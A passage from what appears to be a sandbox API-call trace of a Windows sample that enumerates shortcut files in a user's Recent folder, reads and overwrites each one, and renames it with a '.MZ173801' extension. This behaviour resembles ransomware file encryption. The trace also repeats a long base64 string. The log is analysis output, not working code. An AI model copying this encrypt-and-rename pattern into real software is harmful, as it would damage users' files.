ftLastAccessTime.dwLowDateTime=0xdf669c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf669c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13bd, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="aBIuO4X i.lnk", cAlternateFileName="ABIUO4~1.LNK")) returned 1 [0120.822] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.822] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aBIuO4X i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abiuo4x i.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf669c60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf669c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf669c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13bd)) returned 1 [0120.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aBIuO4X i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abiuo4x i.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.826] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.826] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.826] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x13bd [0120.826] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.826] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x13bd, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x13bd, lpOverlapped=0x0) returned 1 [0120.827] CloseHandle (hObject=0x288) returned 1 [0120.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aBIuO4X i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abiuo4x i.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.828] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x13bd, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x13bd, lpOverlapped=0x0) returned 1 [0120.829] CloseHandle (hObject=0x288) returned 1 [0120.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aBIuO4X i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abiuo4x i.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aBIuO4X i.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abiuo4x i.lnk.mz173801")) returned 1 [0120.836] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa48020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa48020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa48020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Abo9IBT_wYq3F_uBufO.lnk", cAlternateFileName="ABO9IB~1.LNK")) returned 1 [0120.836] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.836] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.836] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Abo9IBT_wYq3F_uBufO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abo9ibt_wyq3f_ubufo.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa48020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa48020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa48020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0120.837] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Abo9IBT_wYq3F_uBufO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abo9ibt_wyq3f_ubufo.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.839] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.839] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.839] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x270 [0120.839] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.839] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x270, lpOverlapped=0x0) returned 1 [0120.840] CloseHandle (hObject=0x288) returned 1 [0120.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Abo9IBT_wYq3F_uBufO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abo9ibt_wyq3f_ubufo.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.841] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x270, lpOverlapped=0x0) returned 1 [0120.842] CloseHandle (hObject=0x288) returned 1 [0120.849] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Abo9IBT_wYq3F_uBufO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abo9ibt_wyq3f_ubufo.lnk"), 